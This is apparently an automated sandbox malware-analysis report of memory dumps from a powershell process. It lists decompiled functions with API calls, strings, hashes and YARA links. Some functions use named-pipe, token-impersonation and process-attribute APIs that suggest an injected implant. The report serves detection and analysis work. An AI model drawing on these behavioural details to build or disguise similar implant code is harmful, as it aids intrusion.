Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: NamedPipe$Thread$ClientConnectCurrentDisconnectErrorFileImpersonateLastOpenReadToken
String ID:
API String ID: 4232080776-0
Opcode ID: ef7db9755eefa0db9f7ee1ec6e209610e40617530726d74f2edde71b678aab6d
Instruction ID: 858477b128a2e62099544fec214b1ff0ff885e2c951272a546a0fff84645afef
Opcode Fuzzy Hash: ef7db9755eefa0db9f7ee1ec6e209610e40617530726d74f2edde71b678aab6d
Instruction Fuzzy Hash: 59215E22610A46B5FF50DFA1FA8C76A2361F78CB44F86411698094EFB6DF2CC448F719

Function 0000022EF9B2FF10 Relevance: 9.2, APIs: 6, Instructions: 166COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EF9B2FF4C

Part of subcall function 0000022EF9B31118: _getptd_noexit.LIBCMT ref: 0000022EF9B3111C

_invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B2FF57
memcpy_s.LIBCMT ref: 0000022EF9B3001C
_fileno.LIBCMT ref: 0000022EF9B30087
_filbuf.LIBCMT ref: 0000022EF9B300B5
_errno.LIBCMT ref: 0000022EF9B30105

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$_filbuf_fileno_getptd_noexit_invalid_parameter_noinfomemcpy_s
String ID:
API String ID: 2328795619-0
Opcode ID: a6b8c894bc097219f3410178b0f3ee4aa495d15850340b6c84f373b071b042dd
Instruction ID: e0ea1f62ba13c7096fb9ca4677ecff570a969a08c26ef40074ce437bd764c3f9
Opcode Fuzzy Hash: a6b8c894bc097219f3410178b0f3ee4aa495d15850340b6c84f373b071b042dd
Instruction Fuzzy Hash: BE515821705644B2FE39CAE75728B6A6680FB65FF4F164710AEB943FC5CB34C481AA48

Function 0000022EFA0D0B10 Relevance: 9.2, APIs: 6, Instructions: 166COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EFA0D0B4C

Part of subcall function 0000022EFA0D1D18: _getptd_noexit.LIBCMT ref: 0000022EFA0D1D1C

_invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0D0B57
memcpy_s.LIBCMT ref: 0000022EFA0D0C1C
_fileno.LIBCMT ref: 0000022EFA0D0C87
_filbuf.LIBCMT ref: 0000022EFA0D0CB5
_errno.LIBCMT ref: 0000022EFA0D0D05

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$_filbuf_fileno_getptd_noexit_invalid_parameter_noinfomemcpy_s
String ID:
API String ID: 2328795619-0
Opcode ID: 4bbdce99b29ecd3e24264ac9f3b66a56e11342a03ebc5466d7d382185dba5216
Instruction ID: b00b72c391151923ef0566c4282dcf2a1cb6d156646da05541ba6b8c6bcc5063
Opcode Fuzzy Hash: 4bbdce99b29ecd3e24264ac9f3b66a56e11342a03ebc5466d7d382185dba5216
Instruction Fuzzy Hash: 51510523708250A6FE248EA677087697590B748BF8F164715AE3E4BFF9CF3CD491A244

Function 0000022EF9B21030 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 150COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EF9B21063

Part of subcall function 0000022EF9B2E684: _FF_MSGBANNER.LIBCMT ref: 0000022EF9B2E6B4
Part of subcall function 0000022EF9B2E684: _NMSG_WRITE.LIBCMT ref: 0000022EF9B2E6BE
Part of subcall function 0000022EF9B2E684: _callnewh.LIBCMT ref: 0000022EF9B2E6F2
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E6FD
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E708

Part of subcall function 0000022EF9B1C444: malloc.LIBCMT ref: 0000022EF9B1C457

free.LIBCMT ref: 0000022EF9B2115E
free.LIBCMT ref: 0000022EF9B2116B

Part of subcall function 0000022EF9B2E644: _errno.LIBCMT ref: 0000022EF9B2E664

Strings

1:%u/'); %s, xrefs: 0000022EF9B210F9
open process: %d (%u), xrefs: 0000022EF9B210BF
n from %d (%u), xrefs: 0000022EF9B21229

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$freemalloc$_callnewh
String ID: 1:%u/'); %s$n from %d (%u)$open process: %d (%u)
API String ID: 2029259483-317027030
Opcode ID: dc04f393f0e4fed79304e7eb9afd54a7656e6f03fcd842c9ac36e4d1f5269005
Instruction ID: 00142f7683465f5d0d4d930a9eff918b74e7ff4eafd750fc365b27d5ae084290
Opcode Fuzzy Hash: dc04f393f0e4fed79304e7eb9afd54a7656e6f03fcd842c9ac36e4d1f5269005
Instruction Fuzzy Hash: EE61D131708750A6EF30DFA5E5692ADB7A1F3A4B80F414015EA8943F99EF78C505EB44

Function 0000022EFA0DA348 Relevance: 9.1, APIs: 6, Instructions: 132COMMONLIBRARYCODE

Download Yara Rule

APIs

_mtinitlocknum.LIBCMT ref: 0000022EFA0DA375

Part of subcall function 0000022EFA0D3E58: _FF_MSGBANNER.LIBCMT ref: 0000022EFA0D3E75
Part of subcall function 0000022EFA0D3E58: _NMSG_WRITE.LIBCMT ref: 0000022EFA0D3E7F

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 0000022EFA0DA3F8
EnterCriticalSection.KERNEL32 ref: 0000022EFA0DA414
LeaveCriticalSection.KERNEL32 ref: 0000022EFA0DA424
_calloc_crt.LIBCMT ref: 0000022EFA0DA49A
__lock_fhandle.LIBCMT ref: 0000022EFA0DA502

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountEnterInitializeLeaveSpin__lock_fhandle_calloc_crt_mtinitlocknum
String ID:
API String ID: 445582508-0
Opcode ID: 37ad4fda8a075f5cd4d07cec490ae037cae96ac67048c51c0eece2b82dd4d161
Instruction ID: 884e473842cff5a4f725d7351be52e332e21c5968be0a32746cdc2ef803b1a1b
Opcode Fuzzy Hash: 37ad4fda8a075f5cd4d07cec490ae037cae96ac67048c51c0eece2b82dd4d161
Instruction Fuzzy Hash: FE51DF7362074092EF208F50E64836AB7A5F788B58F1A4525DA494BFF4DF7CC851E700

Function 0000022EFA0C1694 Relevance: 9.1, APIs: 6, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 0000022EFA0C5FEC: malloc.LIBCMT ref: 0000022EFA0C6008

Part of subcall function 0000022EFA0D0620: _errno.LIBCMT ref: 0000022EFA0D0577
Part of subcall function 0000022EFA0D0620: _invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0D0582

fseek.LIBCMT ref: 0000022EFA0C1730

Part of subcall function 0000022EFA0D0EA4: _errno.LIBCMT ref: 0000022EFA0D0ECC
Part of subcall function 0000022EFA0D0EA4: _invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0D0ED7

_ftelli64.LIBCMT ref: 0000022EFA0C1738

Part of subcall function 0000022EFA0D0F18: _errno.LIBCMT ref: 0000022EFA0D0F36
Part of subcall function 0000022EFA0D0F18: _invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0D0F41

fseek.LIBCMT ref: 0000022EFA0C1748

Part of subcall function 0000022EFA0D0EA4: _fseek_nolock.LIBCMT ref: 0000022EFA0D0EF5

GetFullPathNameA.KERNEL32 ref: 0000022EFA0C176B
malloc.LIBCMT ref: 0000022EFA0C1788

Part of subcall function 0000022EFA0CF284: _FF_MSGBANNER.LIBCMT ref: 0000022EFA0CF2B4
Part of subcall function 0000022EFA0CF284: _NMSG_WRITE.LIBCMT ref: 0000022EFA0CF2BE
Part of subcall function 0000022EFA0CF284: HeapAlloc.KERNEL32 ref: 0000022EFA0CF2D9
Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF2F2
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF2FD
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF308

Part of subcall function 0000022EFA0BD044: malloc.LIBCMT ref: 0000022EFA0BD057

Part of subcall function 0000022EFA0BD074: htonl.WS2_32 ref: 0000022EFA0BD07F

fclose.LIBCMT ref: 0000022EFA0C1845

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfomalloc$fseek$AllocFullHeapNamePath_callnewh_fseek_nolock_ftelli64fclosehtonl
String ID:
API String ID: 3587854850-0
Opcode ID: f2abbbf20f3530519e2fbcb7cf3f65dd4e7c47c251f31922550871d18ad798e2
Instruction ID: 7b73c8daa62fdac81b29f6645bd09d28ebea348c28f69b66821d82f42bfce8f5
Opcode Fuzzy Hash: f2abbbf20f3530519e2fbcb7cf3f65dd4e7c47c251f31922550871d18ad798e2
Instruction Fuzzy Hash: 5741852231464062EE14EB92F6697AEA251BBCCBD0F428125AE5E4FFF6DE3CC505D700

Function 0000022EFA0C5C60 Relevance: 9.1, APIs: 6, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

GetACP.KERNEL32 ref: 0000022EFA0C5C78
GetOEMCP.KERNEL32 ref: 0000022EFA0C5C82
GetCurrentProcessId.KERNEL32 ref: 0000022EFA0C5CA8
GetTickCount.KERNEL32 ref: 0000022EFA0C5CB0

Part of subcall function 0000022EFA0D044C: _getptd.LIBCMT ref: 0000022EFA0D0454

GetCurrentProcess.KERNEL32 ref: 0000022EFA0C5CEC

Part of subcall function 0000022EFA0C0C64: GetModuleHandleA.KERNEL32 ref: 0000022EFA0C0C79
Part of subcall function 0000022EFA0C0C64: GetProcAddress.KERNEL32 ref: 0000022EFA0C0C89

GetCurrentProcessId.KERNEL32 ref: 0000022EFA0C5D5E

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CurrentProcess$AddressCountHandleModuleProcTick_getptd
String ID:
API String ID: 3426420785-0
Opcode ID: cace55278df1f4be28c563725835e26b24be87b65be8dda4f354c1bcfac1d593
Instruction ID: c729edeaff53e705cca544162a365f726524389a5a38e86db7e43de6e33e890a
Opcode Fuzzy Hash: cace55278df1f4be28c563725835e26b24be87b65be8dda4f354c1bcfac1d593
Instruction Fuzzy Hash: 32416D62710611B5FF10EBF1EA9D7D923A4AB9C794F424411EE098BFB6DE3CC50AA710

Function 0000022EFA0C6F2C Relevance: 9.1, APIs: 6, Instructions: 99networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EFA0C6F5E

Part of subcall function 0000022EFA0CF284: _FF_MSGBANNER.LIBCMT ref: 0000022EFA0CF2B4
Part of subcall function 0000022EFA0CF284: _NMSG_WRITE.LIBCMT ref: 0000022EFA0CF2BE
Part of subcall function 0000022EFA0CF284: HeapAlloc.KERNEL32 ref: 0000022EFA0CF2D9
Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF2F2
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF2FD
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF308

htonl.WS2_32 ref: 0000022EFA0C6F91
recvfrom.WS2_32 ref: 0000022EFA0C6FD5
WSAGetLastError.WS2_32 ref: 0000022EFA0C6FE2

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$AllocErrorHeapLast_callnewhhtonlmallocrecvfrom
String ID:
API String ID: 2310505145-0
Opcode ID: 2261c4ce2f877d491e78f0891c545d8b3f459d63dae9fe63479e894e722204df
Instruction ID: 04d96e3dac9689a320e8f9714ac4842490b8cf50cb9f2f1e4702e4843cb029ec
Opcode Fuzzy Hash: 2261c4ce2f877d491e78f0891c545d8b3f459d63dae9fe63479e894e722204df
Instruction Fuzzy Hash: 3D416272210680E2FF108FA5F64871A77A1F78C794F264225EA995BFB4DB3CD491EB00

Function 0000022EFA0C79C4 Relevance: 9.1, APIs: 6, Instructions: 96threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000022EFA0C79FF
UpdateProcThreadAttribute.KERNEL32 ref: 0000022EFA0C7A3F
GetLastError.KERNEL32 ref: 0000022EFA0C7A49
GetCurrentProcess.KERNEL32 ref: 0000022EFA0C7A7E
GetCurrentProcess.KERNEL32 ref: 0000022EFA0C7ABE
GetCurrentProcess.KERNEL32 ref: 0000022EFA0C7AEF

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CurrentProcess$ErrorLast$AttributeProcThreadUpdate
String ID:
API String ID: 1014270282-0
Opcode ID: b3d57bf1a8e1718da0dab59a644853e162df0a73d9a39d542a15f5b5bcb328ed
Instruction ID: 4f0ddad8d448d0b8360db552f46772af0e4f9d785f52735e7d11b11e93a0d8f5
Opcode Fuzzy Hash: b3d57bf1a8e1718da0dab59a644853e162df0a73d9a39d542a15f5b5bcb328ed
Instruction Fuzzy Hash: 27416F3261478097EF20DF92E54839977A1F78CFD8F094529AA494BFA5DB7CC605AB00

Function 0000022EF9B2FA20 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EF9B2F977

Part of subcall function 0000022EF9B31118: _getptd_noexit.LIBCMT ref: 0000022EF9B3111C

_invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B2F982
_getstream.LIBCMT ref: 0000022EF9B2F9A2
_errno.LIBCMT ref: 0000022EF9B2F9B4
_errno.LIBCMT ref: 0000022EF9B2F9C6
_openfile.LIBCMT ref: 0000022EF9B2F9F4

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$_getptd_noexit_getstream_invalid_parameter_noinfo_openfile
String ID:
API String ID: 1547050394-0
Opcode ID: 0ee48a0889aaee90efd1175476a0cb7edf48224d72ecded3f82ab5c2f8e8549f
Instruction ID: d0a4925a0e120e114a9808fc31d7ef8836a28285a831ed3026d1422349fbed13
Opcode Fuzzy Hash: 0ee48a0889aaee90efd1175476a0cb7edf48224d72ecded3f82ab5c2f8e8549f
Instruction Fuzzy Hash: A8212761308786B1FF329BA39A2D75EA295F765BC0F464421DEC887F86DB7CC400A708

Function 0000022EFA0D0620 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EFA0D0577

Part of subcall function 0000022EFA0D1D18: _getptd_noexit.LIBCMT ref: 0000022EFA0D1D1C

_invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0D0582
_getstream.LIBCMT ref: 0000022EFA0D05A2
_errno.LIBCMT ref: 0000022EFA0D05B4
_errno.LIBCMT ref: 0000022EFA0D05C6
_openfile.LIBCMT ref: 0000022EFA0D05F4

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$_getptd_noexit_getstream_invalid_parameter_noinfo_openfile
String ID:
API String ID: 1547050394-0
Opcode ID: e39adbfa2b2f6f7307badbfd63093f86f5a875a8f375d579bd57b533050ef8dc
Instruction ID: f2e4704a8edb9798360390409e48aa3e50d3e0926f408b76b990848836170ce6
Opcode Fuzzy Hash: e39adbfa2b2f6f7307badbfd63093f86f5a875a8f375d579bd57b533050ef8dc
Instruction Fuzzy Hash: DC21D863714782A1FF515FA1BA0935E62A4AB4C7C0F464821AD4E8FFAADF7CC4406704

Function 0000022EF9B39B3C Relevance: 9.1, APIs: 6, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EF9B39B55

Part of subcall function 0000022EF9B31118: _getptd_noexit.LIBCMT ref: 0000022EF9B3111C

__lock_fhandle.LIBCMT ref: 0000022EF9B39B9D
__doserrno.LIBCMT ref: 0000022EF9B39BD2
_errno.LIBCMT ref: 0000022EF9B39BD9

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$__doserrno__lock_fhandle_getptd_noexit
String ID:
API String ID: 2102446242-0
Opcode ID: acc1e709539f3a0e8ebe9ec8259c6fe6fa9b3b7ac075e700e957115c0bfbe106
Instruction ID: c93f522df687a020e6854ab51086951096af18fa49508aec0d6be43b35aefdfd
Opcode Fuzzy Hash: acc1e709539f3a0e8ebe9ec8259c6fe6fa9b3b7ac075e700e957115c0bfbe106
Instruction Fuzzy Hash: 3021F321700642E1FF31EFE99ABDBAC765497A0760F0B4128DBD607BD2DA78C841A31C

Function 0000022EFA0BFC64 Relevance: 9.1, APIs: 6, Instructions: 58fileCOMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EFA0BFC85

Part of subcall function 0000022EFA0CF284: _FF_MSGBANNER.LIBCMT ref: 0000022EFA0CF2B4
Part of subcall function 0000022EFA0CF284: _NMSG_WRITE.LIBCMT ref: 0000022EFA0CF2BE
Part of subcall function 0000022EFA0CF284: HeapAlloc.KERNEL32 ref: 0000022EFA0CF2D9
Part of subcall function 0000022EFA0CF284: _callnewh.LIBCMT ref: 0000022EFA0CF2F2
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF2FD
Part of subcall function 0000022EFA0CF284: _errno.LIBCMT ref: 0000022EFA0CF308

free.LIBCMT ref: 0000022EFA0BFCC0
fwrite.LIBCMT ref: 0000022EFA0BFD01
fclose.LIBCMT ref: 0000022EFA0BFD09
free.LIBCMT ref: 0000022EFA0BFD16

Part of subcall function 0000022EFA0CF244: HeapFree.KERNEL32 ref: 0000022EFA0CF25A
Part of subcall function 0000022EFA0CF244: _errno.LIBCMT ref: 0000022EFA0CF264
Part of subcall function 0000022EFA0CF244: GetLastError.KERNEL32 ref: 0000022EFA0CF26C

GetLastError.KERNEL32 ref: 0000022EFA0BFD1B

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$ErrorHeapLastfree$AllocFree_callnewhfclosefwritemalloc
String ID:
API String ID: 1616846154-0
Opcode ID: 17de93f2489608755237434f8f5e09f648d27c8e17da9d8174f51a1e36afe512
Instruction ID: 10b6259351297df9ae3b84852ad3e0d35b12034e8932375be81bbdd2bffc999e
Opcode Fuzzy Hash: 17de93f2489608755237434f8f5e09f648d27c8e17da9d8174f51a1e36afe512
Instruction Fuzzy Hash: 6511B41170474061ED20EBA2B3583AE5351AB8DBD4F454221BE5E4FFEBEE2CC5059790

Function 0000022EFA0C4488 Relevance: 9.1, APIs: 6, Instructions: 51pipefileCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000022EFA0C44A6
WaitNamedPipeA.KERNEL32 ref: 0000022EFA0C44BB
CreateFileA.KERNEL32 ref: 0000022EFA0C44E5
SetNamedPipeHandleState.KERNEL32 ref: 0000022EFA0C4507
DisconnectNamedPipe.KERNEL32 ref: 0000022EFA0C4514
SetLastError.KERNEL32 ref: 0000022EFA0C4529

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: NamedPipe$ErrorLast$CreateDisconnectFileHandleStateWait
String ID:
API String ID: 3798860377-0
Opcode ID: 66f56032a1747051bfe9465942bea2b3a251e1270fb13d2c0e90442697245dfd
Instruction ID: f9b3ed231ab935b2768e657f43623ee3785030f092b8ea61ce4438a9aa6ba129
Opcode Fuzzy Hash: 66f56032a1747051bfe9465942bea2b3a251e1270fb13d2c0e90442697245dfd
Instruction Fuzzy Hash: 4811D032604651A2FF208BA1F69C71E32A1F78CBA8F4242159A5A4BFB4CFBDC445A700

Function 0000022EF9B2E3EC Relevance: 9.0, APIs: 5, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EF9B2E40F

Part of subcall function 0000022EF9B2E684: _FF_MSGBANNER.LIBCMT ref: 0000022EF9B2E6B4
Part of subcall function 0000022EF9B2E684: _NMSG_WRITE.LIBCMT ref: 0000022EF9B2E6BE
Part of subcall function 0000022EF9B2E684: _callnewh.LIBCMT ref: 0000022EF9B2E6F2
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E6FD
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E708

malloc.LIBCMT ref: 0000022EF9B2E41D

Part of subcall function 0000022EF9B2E684: _callnewh.LIBCMT ref: 0000022EF9B2E718
Part of subcall function 0000022EF9B2E684: _errno.LIBCMT ref: 0000022EF9B2E71D

malloc.LIBCMT ref: 0000022EF9B2E43F
_snprintf.LIBCMT ref: 0000022EF9B2E45A

Part of subcall function 0000022EF9B2EA3C: _errno.LIBCMT ref: 0000022EF9B2EA73
Part of subcall function 0000022EF9B2EA3C: _invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B2EA7E

malloc.LIBCMT ref: 0000022EF9B2E475

Strings

dpoolWait, xrefs: 0000022EF9B2E444

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _errnomalloc$_callnewh$_invalid_parameter_noinfo_snprintf
String ID: dpoolWait
API String ID: 2026495703-1875951006
Opcode ID: 8070209c1cbe6b8a0a820429e4883b75791e823d018c18b7f063917c64386bf6
Instruction ID: 27fafdf4fbe3f689a6916732e3535e7a76dbf8c44b82924ac776ace678c2d7aa
Opcode Fuzzy Hash: 8070209c1cbe6b8a0a820429e4883b75791e823d018c18b7f063917c64386bf6
Instruction Fuzzy Hash: 7401C47170079051EE16DB93B9187596699F7A8FE0F06422DEEA947FC6CF38C0418744

Function 0000022EFA0CEFEC Relevance: 9.0, APIs: 5, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0000022EFA0CF00F

Part of subcall function 0000022EFA0CF284: _FF_MSGBANNER.LIBCMT ref: 0000022EFA0CF2B4
